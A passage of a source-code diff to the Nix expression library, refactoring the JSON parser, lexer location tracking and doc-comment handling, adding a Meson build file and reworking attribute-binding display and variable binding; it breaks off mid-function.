number_unsigned(number_unsigned_t val_) override { + if (val_ > std::numeric_limits::max()) { + throw Error("unsigned json number %1% outside of Nix integer range", val_); + } + NixInt::Inner val = val_; rs->value(state).mkInt(val); rs->add(); return true; } - bool number_float(number_float_t val, const string_t & s) + bool number_float(number_float_t val, const string_t & s) override { rs->value(state).mkFloat(val); rs->add(); return true; } - bool string(string_t & val) + bool string(string_t & val) override { rs->value(state).mkString(val); rs->add(); @@ -122,7 +128,7 @@ public: } #if NLOHMANN_JSON_VERSION_MAJOR >= 3 && NLOHMANN_JSON_VERSION_MINOR >= 8 - bool binary(binary_t&) + bool binary(binary_t&) override { // This function ought to be unreachable assert(false); @@ -130,36 +136,36 @@ public: } #endif - bool start_object(std::size_t len) + bool start_object(std::size_t len) override { rs = std::make_unique(std::move(rs)); return true; } - bool key(string_t & name) + bool key(string_t & name) override { dynamic_cast(rs.get())->key(name, state); return true; } - bool end_object() { + bool end_object() override { rs = rs->resolve(state); rs->add(); return true; } - bool end_array() { + bool end_array() override { return end_object(); } - bool start_array(size_t len) { + bool start_array(size_t len) override { rs = std::make_unique(std::move(rs), len != std::numeric_limits::max() ? len : 128); return true; } - bool parse_error(std::size_t, const std::string&, const nlohmann::detail::exception& ex) { - throw JSONParseError(ex.what()); + bool parse_error(std::size_t, const std::string&, const nlohmann::detail::exception& ex) override { + throw JSONParseError("%s", ex.what()); } }; diff --git a/src/libexpr/json-to-value.hh b/src/libexpr/json-to-value.hh index 84bec4eba..3c8fa5cc0 100644 --- a/src/libexpr/json-to-value.hh +++ b/src/libexpr/json-to-value.hh @@ -1,12 +1,16 @@ #pragma once +///@file -#include "eval.hh" +#include "error.hh" #include namespace nix { -MakeError(JSONParseError, EvalError); +class EvalState; +struct Value; + +MakeError(JSONParseError, Error); void parseJSON(EvalState & state, const std::string_view & s, Value & v); diff --git a/src/libexpr/lexer-helpers.cc b/src/libexpr/lexer-helpers.cc new file mode 100644 index 000000000..d9eeb73e2 --- /dev/null +++ b/src/libexpr/lexer-helpers.cc @@ -0,0 +1,30 @@ +#include "lexer-tab.hh" +#include "lexer-helpers.hh" +#include "parser-tab.hh" + +void nix::lexer::internal::initLoc(YYLTYPE * loc) +{ + loc->beginOffset = loc->endOffset = 0; +} + +void nix::lexer::internal::adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len) +{ + loc->stash(); + + LexerState & lexerState = *yyget_extra(yyscanner); + + if (lexerState.docCommentDistance == 1) { + // Preceding token was a doc comment. + ParserLocation doc; + doc.beginOffset = lexerState.lastDocCommentLoc.beginOffset; + ParserLocation docEnd; + docEnd.beginOffset = lexerState.lastDocCommentLoc.endOffset; + DocComment docComment{lexerState.at(doc), lexerState.at(docEnd)}; + PosIdx locPos = lexerState.at(*loc); + lexerState.positionToDocComment.emplace(locPos, docComment); + } + lexerState.docCommentDistance++; + + loc->beginOffset = loc->endOffset; + loc->endOffset += len; +} diff --git a/src/libexpr/lexer-helpers.hh b/src/libexpr/lexer-helpers.hh new file mode 100644 index 000000000..caba6e18f --- /dev/null +++ b/src/libexpr/lexer-helpers.hh @@ -0,0 +1,9 @@ +#pragma once + +namespace nix::lexer::internal { + +void initLoc(YYLTYPE * loc); + +void adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len); + +} // namespace nix::lexer diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 462b3b602..a7e44cb72 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -1,10 +1,11 @@ %option reentrant bison-bridge bison-locations +%option align %option noyywrap %option never-interactive %option stack %option nodefault %option nounput noyy_top_state - +%option extra-type="::nix::LexerState *" %s DEFAULT %x STRING @@ -13,62 +14,30 @@ %x INPATH_SLASH %x PATH_START +%top { +#include "parser-tab.hh" // YYSTYPE +#include "parser-state.hh" +} %{ #ifdef __clang__ #pragma clang diagnostic ignored "-Wunneeded-internal-declaration" #endif -#include - #include "nixexpr.hh" #include "parser-tab.hh" +#include "lexer-helpers.hh" + +namespace nix { + struct LexerState; +} using namespace nix; +using namespace nix::lexer::internal; namespace nix { -static inline PosIdx makeCurPos(const YYLTYPE & loc, ParseData * data) -{ - return data->state.positions.add(data->origin, loc.first_line, loc.first_column); -} - -#define CUR_POS makeCurPos(*yylloc, data) - -// backup to recover from yyless(0) -YYLTYPE prev_yylloc; - -static void initLoc(YYLTYPE * loc) -{ - loc->first_line = loc->last_line = 1; - loc->first_column = loc->last_column = 1; -} - -static void adjustLoc(YYLTYPE * loc, const char * s, size_t len) -{ - prev_yylloc = *loc; - - loc->first_line = loc->last_line; - loc->first_column = loc->last_column; - - for (size_t i = 0; i < len; i++) { - switch (*s++) { - case '\r': - if (*s == '\n') { /* cr/lf */ - i++; - s++; - } - /* fall through */ - case '\n': - ++loc->last_line; - loc->last_column = 1; - break; - default: - ++loc->last_column; - } - } -} - +#define CUR_POS state->at(*yylloc) // we make use of the fact that the parser receives a private copy of the input // string and can munge around in it. @@ -98,11 +67,22 @@ static StringToken unescapeStr(SymbolTable & symbols, char * s, size_t length) return {result, size_t(t - result)}; } +static void requireExperimentalFeature(const ExperimentalFeature & feature, const Pos & pos) +{ + if (!experimentalFeatureSettings.isEnabled(feature)) + throw ParseError(ErrorInfo{ + .msg = HintFmt("experimental Nix feature '%1%' is disabled; add '--extra-experimental-features %1%' to enable it", showExperimentalFeature(feature)), + .pos = pos, + }); +} } +// yacc generates code that uses unannotated fallthrough. +#pragma GCC diagnostic ignored "-Wimplicit-fallthrough" + #define YY_USER_INIT initLoc(yylloc) -#define YY_USER_ACTION adjustLoc(yylloc, yytext, yyleng); +#define YY_USER_ACTION adjustLoc(yyscanner, yylloc, yytext, yyleng); #define PUSH_STATE(state) yy_push_state(state, yyscanner) #define POP_STATE() yy_pop_state(yyscanner) @@ -132,7 +112,7 @@ else { return ELSE; } assert { return ASSERT; } with { return WITH; } let { return LET; } -in { return IN; } +in { return IN_KW; } rec { return REC; } inherit { return INHERIT; } or { return OR_KW; } @@ -147,27 +127,34 @@ or { return OR_KW; } \-\> { return IMPL; } \/\/ { return UPDATE; } \+\+ { return CONCAT; } +\<\| { requireExperimentalFeature(Xp::PipeOperators, state->positions[CUR_POS]); + return PIPE_FROM; + } +\|\> { requireExperimentalFeature(Xp::PipeOperators, state->positions[CUR_POS]); + return PIPE_INTO; + } {ID} { yylval->id = {yytext, (size_t) yyleng}; return ID; } {INT} { errno = 0; - try { - yylval->n = boost::lexical_cast(yytext); - } catch (const boost::bad_lexical_cast &) { - throw ParseError({ - .msg = hintfmt("invalid integer '%1%'", yytext), - .errPos = data->state.positions[CUR_POS], + std::optional numMay = string2Int(yytext); + if (numMay.has_value()) { + yylval->n = NixInt{*numMay}; + } else { + throw ParseError(ErrorInfo{ + .msg = HintFmt("invalid integer '%1%'", yytext), + .pos = state->positions[CUR_POS], }); } - return INT; + return INT_LIT; } {FLOAT} { errno = 0; yylval->nf = strtod(yytext, 0); if (errno != 0) - throw ParseError({ - .msg = hintfmt("invalid float '%1%'", yytext), - .errPos = data->state.positions[CUR_POS], + throw ParseError(ErrorInfo{ + .msg = HintFmt("invalid float '%1%'", yytext), + .pos = state->positions[CUR_POS], }); - return FLOAT; + return FLOAT_LIT; } \$\{ { PUSH_STATE(DEFAULT); return DOLLAR_CURLY; } @@ -188,7 +175,7 @@ or { return OR_KW; } /* It is impossible to match strings ending with '$' with one regex because trailing contexts are only valid at the end of a rule. (A sane but undocumented limitation.) */ - yylval->str = unescapeStr(data->symbols, yytext, yyleng); + yylval->str = unescapeStr(state->symbols, yytext, yyleng); return STR; } \$\{ { PUSH_STATE(DEFAULT); return DOLLAR_CURLY; } @@ -216,7 +203,7 @@ or { return OR_KW; } return IND_STR; } \'\'\\{ANY} { - yylval->str = unescapeStr(data->symbols, yytext + 2, yyleng - 2); + yylval->str = unescapeStr(state->symbols, yytext + 2, yyleng - 2); return IND_STR; } \$\{ { PUSH_STATE(DEFAULT); return DOLLAR_CURLY; } @@ -230,7 +217,7 @@ or { return OR_KW; } {HPATH_START}\$\{ { PUSH_STATE(PATH_START); yyless(0); - *yylloc = prev_yylloc; + yylloc->unstash(); } {PATH_SEG} { @@ -286,24 +273,47 @@ or { return OR_KW; } context (it may be ')', ';', or something of that sort) */ POP_STATE(); yyless(0); - *yylloc = prev_yylloc; + yylloc->unstash(); return PATH_END; } {ANY} | <> { - throw ParseError({ - .msg = hintfmt("path has a trailing slash"), - .errPos = data->state.positions[CUR_POS], + throw ParseError(ErrorInfo{ + .msg = HintFmt("path has a trailing slash"), + .pos = state->positions[CUR_POS], }); } {SPATH} { yylval->path = {yytext, (size_t) yyleng}; return SPATH; } {URI} { yylval->uri = {yytext, (size_t) yyleng}; return URI; } -[ \t\r\n]+ /* eat up whitespace */ -\#[^\r\n]* /* single-line comments */ -\/\*([^*]|\*+[^*/])*\*+\/ /* long comments */ +%{ +// Doc comment rule +// +// \/\*\* /** +// [^/*] reject /**/ (empty comment) and /*** +// ([^*]|\*+[^*/])*\*+\/ same as the long comment rule +// ( )* zero or more non-ending sequences +// \* end(1) +// \/ end(2) +%} +\/\*\*[^/*]([^*]|\*+[^*/])*\*+\/ /* doc comments */ { + LexerState & lexerState = *yyget_extra(yyscanner); + lexerState.docCommentDistance = 0; + lexerState.lastDocCommentLoc.beginOffset = yylloc->beginOffset; + lexerState.lastDocCommentLoc.endOffset = yylloc->endOffset; +} + + +%{ +// The following rules have docCommentDistance-- +// This compensates for the docCommentDistance++ which happens by default to +// make all the other rules invalidate the doc comment. +%} +[ \t\r\n]+ /* eat up whitespace */ { yyget_extra(yyscanner)->docCommentDistance--; } +\#[^\r\n]* /* single-line comments */ { yyget_extra(yyscanner)->docCommentDistance--; } +\/\*([^*]|\*+[^*/])*\*+\/ /* long comments */ { yyget_extra(yyscanner)->docCommentDistance--; } {ANY} { /* Don't return a negative number, as this will cause diff --git a/src/libexpr/local.mk b/src/libexpr/local.mk index 016631647..68518e184 100644 --- a/src/libexpr/local.mk +++ b/src/libexpr/local.mk @@ -6,18 +6,23 @@ libexpr_DIR := $(d) libexpr_SOURCES := \ $(wildcard $(d)/*.cc) \ + $(wildcard $(d)/value/*.cc) \ $(wildcard $(d)/primops/*.cc) \ - $(wildcard $(d)/flake/*.cc) \ $(d)/lexer-tab.cc \ $(d)/parser-tab.cc +# Not just for this library itself, but also for downstream libraries using this library -libexpr_CXXFLAGS += -I src/libutil -I src/libstore -I src/libfetchers -I src/libmain -I src/libexpr +INCLUDE_libexpr := -I $(d) + +libexpr_CXXFLAGS += \ + $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers) $(INCLUDE_libexpr) \ + -DGC_THREADS libexpr_LIBS = libutil libstore libfetchers -libexpr_LDFLAGS += -lboost_context -pthread +libexpr_LDFLAGS += -lboost_context $(THREAD_LDFLAGS) ifdef HOST_LINUX - libexpr_LDFLAGS += -ldl + libexpr_LDFLAGS += -ldl endif # The dependency on libgc must be propagated (i.e. meaning that @@ -35,11 +40,11 @@ $(d)/lexer-tab.cc $(d)/lexer-tab.hh: $(d)/lexer.l clean-files += $(d)/parser-tab.cc $(d)/parser-tab.hh $(d)/lexer-tab.cc $(d)/lexer-tab.hh -$(eval $(call install-file-in, $(d)/nix-expr.pc, $(libdir)/pkgconfig, 0644)) +$(eval $(call install-file-in, $(buildprefix)$(d)/nix-expr.pc, $(libdir)/pkgconfig, 0644)) -$(foreach i, $(wildcard src/libexpr/flake/*.hh), \ - $(eval $(call install-file-in, $(i), $(includedir)/nix/flake, 0644))) +$(foreach i, $(wildcard src/libexpr/value/*.hh), \ + $(eval $(call install-file-in, $(i), $(includedir)/nix/value, 0644))) -$(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh +$(d)/primops.cc: $(d)/imported-drv-to-derivation.nix.gen.hh -$(d)/flake/flake.cc: $(d)/flake/call-flake.nix.gen.hh +$(d)/eval.cc: $(d)/primops/derivation.nix.gen.hh $(d)/fetchurl.nix.gen.hh $(d)/call-flake.nix.gen.hh diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build new file mode 100644 index 000000000..4d8a38b43 --- /dev/null +++ b/src/libexpr/meson.build @@ -0,0 +1,210 @@ +project('nix-expr', 'cpp', + version : files('.version'), + default_options : [ + 'cpp_std=c++2a', + # TODO(Qyriad): increase the warning level + 'warning_level=1', + 'debug=true', + 'optimization=2', + 'errorlogs=true', # Please print logs for tests that fail + ], + meson_version : '>= 1.1', + license : 'LGPL-2.1-or-later', +) + +cxx = meson.get_compiler('cpp') + +subdir('build-utils-meson/deps-lists') + +configdata = configuration_data() + +deps_private_maybe_subproject = [ +] +deps_public_maybe_subproject = [ + dependency('nix-util'), + dependency('nix-store'), + dependency('nix-fetchers'), +] +subdir('build-utils-meson/subprojects') + +subdir('build-utils-meson/threads') + +boost = dependency( + 'boost', + modules : ['container', 'context'], + include_type: 'system', +) +# boost is a public dependency, but not a pkg-config dependency unfortunately, so we +# put in `deps_other`. +deps_other += boost + +nlohmann_json = dependency('nlohmann_json', version : '>= 3.9') +deps_public += nlohmann_json + +bdw_gc = dependency('bdw-gc', required : get_option('gc')) +if bdw_gc.found() + deps_public += bdw_gc + foreach funcspec : [ + 'pthread_attr_get_np', + 'pthread_getattr_np', + ] + define_name = 'HAVE_' + funcspec.underscorify().to_upper() + define_value = cxx.has_function(funcspec).to_int() + configdata.set(define_name, define_value) + endforeach + configdata.set('GC_THREADS', 1) +endif +configdata.set('HAVE_BOEHMGC', bdw_gc.found().to_int()) + +toml11 = dependency( + 'toml11', + version : '>=3.7.0', + method : 'cmake', + include_type: 'system', +) +deps_other += toml11 + +config_h = configure_file( + configuration : configdata, + output : 'config-expr.hh', +) + +add_project_arguments( + # TODO(Qyriad): Yes this is how the autoconf+Make system did it. + # It would be nice for our headers to be idempotent instead. + '-include', 'config-util.hh', + '-include', 'config-store.hh', + # '-include', 'config-fetchers.h', + '-include', 'config-expr.hh', + language : 'cpp', +) + +subdir('build-utils-meson/diagnostics') + +parser_tab = custom_target( + input : 'parser.y', + output : [ + 'parser-tab.cc', + 'parser-tab.hh', + ], + command : [ + 'bison', + '-v', + '-o', + '@OUTPUT0@', + '@INPUT@', + '-d', + ], + # NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add + # an install script below which removes parser-tab.cc. + install : true, + install_dir : get_option('includedir') / 'nix', +) + +lexer_tab = custom_target( + input : [ + 'lexer.l', + parser_tab, + ], + output : [ + 'lexer-tab.cc', + 'lexer-tab.hh', + ], + command : [ + 'flex', + '--outfile', + '@OUTPUT0@', + '--header-file=' + '@OUTPUT1@', + '@INPUT0@', + ], + # NOTE(Qyriad): Meson doesn't support installing only part of a custom target, so we add + # an install script below which removes lexer-tab.cc. + install : true, + install_dir : get_option('includedir') / 'nix', +) + +subdir('build-utils-meson/generate-header') + +generated_headers = [] +foreach header : [ + 'imported-drv-to-derivation.nix', + 'fetchurl.nix', + 'call-flake.nix', +] + generated_headers += gen_header.process(header) +endforeach + +sources = files( + 'attr-path.cc', + 'attr-set.cc', + 'eval-cache.cc', + 'eval-error.cc', + 'eval-gc.cc', + 'eval-settings.cc', + 'eval.cc', + 'function-trace.cc', + 'get-drvs.cc', + 'json-to-value.cc', + 'lexer-helpers.cc', + 'nixexpr.cc', + 'paths.cc', + 'primops.cc', + 'print-ambiguous.cc', + 'print.cc', + 'search-path.cc', + 'value-to-json.cc', + 'value-to-xml.cc', + 'value/context.cc', +) + +include_dirs = [include_directories('.')] + +headers = [config_h] + files( + 'attr-path.hh', + 'attr-set.hh', + 'eval-cache.hh', + 'eval-error.hh', + 'eval-gc.hh', + 'eval-inline.hh', + 'eval-settings.hh', + 'eval.hh', + 'function-trace.hh', + 'gc-small-vector.hh', + 'get-drvs.hh', + 'json-to-value.hh', + # internal: 'lexer-helpers.hh', + 'nixexpr.hh', + 'parser-state.hh', + 'pos-idx.hh', + 'pos-table.hh', + 'primops.hh', + 'print-ambiguous.hh', + 'print-options.hh', + 'print.hh', + 'repl-exit-status.hh', + 'search-path.hh', + 'symbol-table.hh', + 'value-to-json.hh', + 'value-to-xml.hh', + 'value.hh', + 'value/context.hh', +) + +subdir('primops') + +this_library = library( + 'nixexpr', + sources, + parser_tab, + lexer_tab, + generated_headers, + dependencies : deps_public + deps_private + deps_other, + prelink : true, # For C++ static initializers + install : true, +) + +install_headers(headers, subdir : 'nix', preserve_path : true) + +libraries_private = [] + +subdir('build-utils-meson/export') diff --git a/src/libexpr/meson.options b/src/libexpr/meson.options new file mode 100644 index 000000000..242d30ea7 --- /dev/null +++ b/src/libexpr/meson.options @@ -0,0 +1,3 @@ +option('gc', type : 'feature', + description : 'enable garbage collection in the Nix expression evaluator (requires Boehm GC)', +) diff --git a/src/libexpr/nix-expr.pc.in b/src/libexpr/nix-expr.pc.in index 80f7a492b..60ffb5dba 100644 --- a/src/libexpr/nix-expr.pc.in +++ b/src/libexpr/nix-expr.pc.in @@ -7,4 +7,4 @@ Description: Nix Package Manager Version: @PACKAGE_VERSION@ Requires: nix-store bdw-gc Libs: -L${libdir} -lnixexpr -Cflags: -I${includedir}/nix -std=c++17 +Cflags: -I${includedir}/nix -std=c++2a diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index eb6f062b4..dbc74faf9 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -1,124 +1,46 @@ #include "nixexpr.hh" -#include "derivations.hh" #include "eval.hh" #include "symbol-table.hh" #include "util.hh" +#include "print.hh" #include +#include + +#include "strings-inline.hh" namespace nix { -struct PosAdapter : AbstractPos -{ - Pos::Origin origin; +unsigned long Expr::nrExprs = 0; - PosAdapter(Pos::Origin origin) - : origin(std::move(origin)) - { - } - - std::optional getSource() const override - { - return std::visit(overloaded { - [](const Pos::none_tag &) -> std::optional { - return std::nullopt; - }, - [](const Pos::Stdin & s) -> std::optional { - // Get rid of the null terminators added by the parser. - return std::string(s.source->c_str()); - }, - [](const Pos::String & s) -> std::optional { - // Get rid of the null terminators added by the parser. - return std::string(s.source->c_str()); - }, - [](const Path & path) -> std::optional { - try { - return readFile(path); - } catch (Error &) { - return std::nullopt; - } - } - }, origin); - } - - void print(std::ostream & out) const override - { - std::visit(overloaded { - [&](const Pos::none_tag &) { out << "«none»"; }, - [&](const Pos::Stdin &) { out << "«stdin»"; }, - [&](const Pos::String & s) { out << "«string»"; }, - [&](const Path & path) { out << path; } - }, origin); - } -}; - -Pos::operator std::shared_ptr() const -{ - auto pos = std::make_shared(origin); - pos->line = line; - pos->column = column; - return pos; -} - -/* Displaying abstract syntax trees. */ - -static void showString(std::ostream & str, std::string_view s) -{ - str << '"'; - for (auto c : s) - if (c == '"' || c == '\\' || c == '$') str << "\\" << c; - else if (c == '\n') str << "\\n"; - else if (c == '\r') str << "\\r"; - else if (c == '\t') str << "\\t"; - else str << c; - str << '"'; -} +ExprBlackHole eBlackHole; +// FIXME: remove, because *symbols* are abstract and do not have a single +// textual representation; see printIdentifier() std::ostream & operator <<(std::ostream & str, const SymbolStr & symbol) { std::string_view s = symbol; - - if (s.empty()) - str << "\"\""; - else if (s == "if") // FIXME: handle other keywords - str << '"' << s << '"'; - else { - char c = s[0]; - if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_')) { - showString(str, s); - return str; - } - for (auto c : s) - if (!((c >= 'a' && c <= 'z') || - (c >= 'A' && c <= 'Z') || - (c >= '0' && c <= '9') || - c == '_' || c == '\'' || c == '-')) { - showString(str, s); - return str; - } - str << s; - } - return str; + return printIdentifier(str, s); } void Expr::show(const SymbolTable & symbols, std::ostream & str) const { - abort(); + unreachable(); } void ExprInt::show(const SymbolTable & symbols, std::ostream & str) const { - str << n; + str << v.integer(); } void ExprFloat::show(const SymbolTable & symbols, std::ostream & str) const { - str << nf; + str << v.fpoint(); } void ExprString::show(const SymbolTable & symbols, std::ostream & str) const { - showString(str, s); + printLiteralString(str, s); } void ExprPath::show(const SymbolTable & symbols, std::ostream & str) const @@ -150,10 +72,8 @@ void ExprOpHasAttr::show(const SymbolTable & symbols, std::ostream & str) const str << ") ? " << showAttrPath(symbols, attrPath) << ")"; } -void ExprAttrs::show(const SymbolTable & symbols, std::ostream & str) const +void ExprAttrs::showBindings(const SymbolTable & symbols, std::ostream & str) const { - if (recursive) str << "rec "; - str << "{ "; typedef const decltype(attrs)::value_type * Attr; std::vector sorted; for (auto & i : attrs) sorted.push_back(&i); @@ -161,10 +81,39 @@ void ExprAttrs::show(const SymbolTable & symbols, std::ostream & str) const std::string_view sa = symbols[a->first], sb = symbols[b->first]; return sa < sb; }); + std::vector inherits; + // We can use the displacement as a proxy for the order in which the symbols were parsed. + // The assignment of displacements should be deterministic, so that showBindings is deterministic. + std::map> inheritsFrom; for (auto & i : sorted) { - if (i->second.inherited) - str << "inherit " << symbols[i->first] << " " << "; "; - else { + switch (i->second.kind) { + case AttrDef::Kind::Plain: + break; + case AttrDef::Kind::Inherited: + inherits.push_back(i->first); + break; + case AttrDef::Kind::InheritedFrom: { + auto & select = dynamic_cast(*i->second.e); + auto & from = dynamic_cast(*select.e); + inheritsFrom[from.displ].push_back(i->first); + break; + } + } + } + if (!inherits.empty()) { + str << "inherit"; + for (auto sym : inherits) str << " " << symbols[sym]; + str << "; "; + } + for (const auto & [from, syms] : inheritsFrom) { + str << "inherit ("; + (*inheritFromExprs)[from]->show(symbols, str); + str << ")"; + for (auto sym : syms) str << " " << symbols[sym]; + str << "; "; + } + for (auto & i : sorted) { + if (i->second.kind == AttrDef::Kind::Plain) { str << symbols[i->first] << " = "; i->second.e->show(symbols, str); str << "; "; @@ -177,6 +126,13 @@ void ExprAttrs::show(const SymbolTable & symbols, std::ostream & str) const i.valueExpr->show(symbols, str); str << "; "; } +} + +void ExprAttrs::show(const SymbolTable & symbols, std::ostream & str) const +{ + if (recursive) str << "rec "; + str << "{ "; + showBindings(symbols, str); str << "}"; } @@ -197,7 +153,10 @@ void ExprLambda::show(const SymbolTable & symbols, std::ostream & str) const if (hasFormals()) { str << "{ "; bool first = true; - for (auto & i : formals->formals) { + // the natural Symbol ordering is by creation time, which can lead to the + // same expression being printed in two different ways depending on its + // context. always use lexicographic ordering to avoid this. + for (auto & i : formals->lexicographicOrder(symbols)) { if (first) first = false; else str << ", "; str << symbols[i.name]; if (i.def) { @@ -232,15 +191,7 @@ void ExprCall::show(const SymbolTable & symbols, std::ostream & str) const void ExprLet::show(const SymbolTable & symbols, std::ostream & str) const { str << "(let "; - for (auto & i : attrs->attrs) - if (i.second.inherited) { - str << "inherit " << symbols[i.first] << "; "; - } - else { - str << symbols[i.first] << " = "; - i.second.e->show(symbols, str); - str << "; "; - } + attrs->showBindings(symbols, str); str << "in "; body->show(symbols, str); str << ")"; @@ -298,17 +249,6 @@ void ExprPos::show(const SymbolTable & symbols, std::ostream & str) const } -std::ostream & operator << (std::ostream & str, const Pos & pos) -{ - if (auto pos2 = (std::shared_ptr) pos) { - str << *pos2; - } else - str << "undefined position"; - - return str; -} - - std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) { std::ostringstream out; @@ -331,7 +271,7 @@ std::string showAttrPath(const SymbolTable & symbols, const AttrPath & attrPath) void Expr::bindVars(EvalState & es, const std::shared_ptr & env) { - abort(); + unreachable(); } void ExprInt::bindVars(EvalState & es, const std::shared_ptr & env) @@ -363,6 +303,8 @@ void ExprVar::bindVars(EvalState & es, const std::shared_ptr & if (es.debugRepl) es.exprEnvs.insert(std::make_pair(this, env)); + fromWith = nullptr; + /* Check whether the variable appears in the environment. If so, set its level and displacement. */ const StaticEnv * curEnv; @@ -374,7 +316,6 @@ void ExprVar::bindVars(EvalState & es, const std::shared_ptr & } else { auto i = curEnv->find(name); if (i != curEnv->vars.end()) { - fromWith = false; this->level = level; displ = i->second; return; @@ -386,14 +327,21 @@ void ExprVar::bindVars(EvalState & es, const std::shared_ptr & enclosing `with'. If there is no `with', then we can issue an "undefined variable" error now. */ if (withLevel == -1) - throw UndefinedVarError({ - .msg = hintfmt("undefined variable '%1%'", es.symbols[name]), - .errPos = es.positions[pos] - }); - fromWith = true; + es.error( + "undefined variable '%1%'", + es.symbols[name] + ).atPos(pos).debugThrow(); + for (auto * e = env.get(); e && !fromWith; e = e->up) + fromWith = e->isWith; this->level = withLevel; } +void ExprInheritFrom::bindVars(EvalState & es, const std::shared_ptr & env) +{ + if (es.debugRepl) + es.exprEnvs.insert(std::make_pair(this, env)); +} + void ExprSelect::bindVars(EvalState & es, const std::shared_ptr & env) { if (es.debugRepl) @@ -417,22 +365,47 @@ void ExprOpHasAttr::bindVars(EvalState & es, const std::shared_ptrbindVars(es, env); } +std::shared_ptr ExprAttrs::bindInheritSources( + EvalState & es, const std::shared_ptr & env) +{ + if (!inheritFromExprs) + return nullptr; + + // the inherit (from) source values are inserted into an env of its own, which + // does not introduce any variable names. + // analysis must see an empty env, or an env that contains only entries with + // otherwise unused names to not interfere with regular names. the parser + // has already filled all exprs that access this env with appropriate level + // and displacement, and nothing else is allowed to access it. ideally we'd + // not even *have* an expr that grabs anything from this env since it's fully + // invisible, but the evaluator does not allow for this yet. + auto inner = std::make_shared(nullptr, env.get(), 0); + for (auto from : *inheritFromExprs) + from->bindVars(es, env); + + return inner; +} + void ExprAttrs::bindVars(EvalState & es, const std::shared_ptr & env) { if (es.debugRepl) es.exprEnvs.insert(std::make_pair(this, env)); if (recursive) { - auto newEnv = std::make_shared(false, env.get(), recursive ? attrs.size() : 0); + auto newEnv = [&] () -> std::shared_ptr { + auto newEnv = std::make_shared(nullptr, env.get(), attrs.size()); - Displacement displ = 0; - for (auto & i : attrs) - newEnv->vars.emplace_back(i.first, i.second.displ = displ++); + Displacement displ = 0; + for (auto & i : attrs) + newEnv->vars.emplace_back(i.first, i.second.displ = displ++); + return newEnv; + }(); // No need to sort newEnv since attrs is in sorted order. + auto inheritFromEnv = bindInheritSources(es, newEnv); for (auto & i : attrs) - i.second.e->bindVars(es, i.second.inherited ? env : newEnv); + i.second.e->bindVars(es, i.second.chooseByKind(newEnv, env, inheritFromEnv)); for (auto & i : dynamicAttrs) { i.nameExpr->bindVars(es, newEnv); @@ -440,8 +413,10 @@ void ExprAttrs::bindVars(EvalState & es, const std::shared_ptr } } else { + auto inheritFromEnv = bindInheritSources(es, env); + for (auto & i : attrs) - i.second.e->bindVars(es, env); + i.second.e->bindVars(es, i.second.chooseByKind(env, env, inheritFromEnv)); for (auto & i : dynamicAttrs) { i.nameExpr->bindVars(es, env); @@ -465,7 +440,7 @@ void ExprLambda::bindVars(EvalState & es, const std::shared_ptr es.exprEnvs.insert(std::make_pair(this, env)); auto newEnv = std::make_shared( - false, env.get(), + nullptr, env.get(), (hasFormals() ? formals->formals.size() : 0) + (!arg ? 0 : 1)); @@ -498,19 +473,23 @@ void ExprCall::bindVars(EvalState & es, const std::shared_ptr & void ExprLet::bindVars(EvalState & es, const std::shared_ptr & env) { - if (es.debugRepl) - es.exprEnvs.insert(std::make_pair(this, env)); + auto newEnv = [&] () -> std::shared_ptr { + auto newEnv = std::make_shared(nullptr, env.get(), attrs->attrs.size()); - auto newEnv = std::make_shared(false, env.get(), attrs->attrs.size()); - - Displacement displ = 0; - for (auto & i : attrs->attrs) - newEnv->vars.emplace_back(i.first, i.second.displ = displ++); + Displacement displ = 0; + for (auto & i : attrs->attrs) + newEnv->vars.emplace_back(i.first, i.second.displ = displ++); + return newEnv; + }(); // No need to sort newEnv since attrs->attrs is in sorted order. + auto inheritFromEnv = attrs->bindInheritSources(es, newEnv); for (auto & i : attrs->attrs) - i.second.e->bindVars(es, i.second.inherited ? env : newEnv); + i.second.e->bindVars(es, i.second.chooseByKind(newEnv, env, inheritFromEnv)); + + if (es.debugRepl) + es.exprEnvs.insert(std::make_pair(this, newEnv)); body->bindVars(es, newEnv); } @@ -520,6 +499,10 @@ void ExprWith::bindVars(EvalState & es, const std::shared_ptr & if (es.debugRepl) es.exprEnvs.insert(std::make_pair(this, env)); + parentWith = nullptr; + for (auto * e = env.get(); e && !parentWith; e = e->up) + parentWith = e->isWith; + /* Does this `with' have an enclosing `with'? If so, record its level so that `lookupVar' can look up variables in the previous `with' if this one doesn't contain the desired attribute. */ @@ -532,11 +515,8 @@ void ExprWith::bindVars(EvalState & es, const std::shared_ptr & break; } - if (es.debugRepl) - es.exprEnvs.insert(std::make_pair(this, env)); - attrs->bindVars(es, env); - auto newEnv = std::make_shared(true, env.get()); + auto newEnv = std::make_shared(this, env.get()); body->bindVars(es, newEnv); } @@ -605,6 +585,55 @@ std::string ExprLambda::showNamePos(const EvalState & state) const return fmt("%1% at %2%", id, state.positions[pos]); } +void ExprLambda::setDocComment(DocComment docComment) { + // RFC 145 specifies that the innermost doc comment wins. + // See https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md#ambiguous-placement + if (!this->docComment) { + this->docComment = docComment; + + // Curried functions are defined by putting a function directly + // in the body of another function. To render docs for those, we + // need to propagate the doc comment to the innermost function. + // + // If we have our own comment, we've already propagated it, so this + // belongs in the same conditional. + body->setDocComment(docComment); + } +}; + + + +/* Position table. */ + +Pos PosTable::operator[](PosIdx p) const +{ + auto origin = resolve(p); + if (!origin) + return {}; + + const auto offset = origin->offsetOf(p); + + Pos result{0, 0, origin->origin}; + auto lines = this->lines.lock(); + auto linesForInput = (*lines)[origin->offset]; + + if (linesForInput.empty()) { + auto source = result.getSource().value_or(""); + const char * begin = source.data(); + for (Pos::LinesIterator it(source), end; it != end; it++) + linesForInput.push_back(it->data() - begin); + if (linesForInput.empty()) + 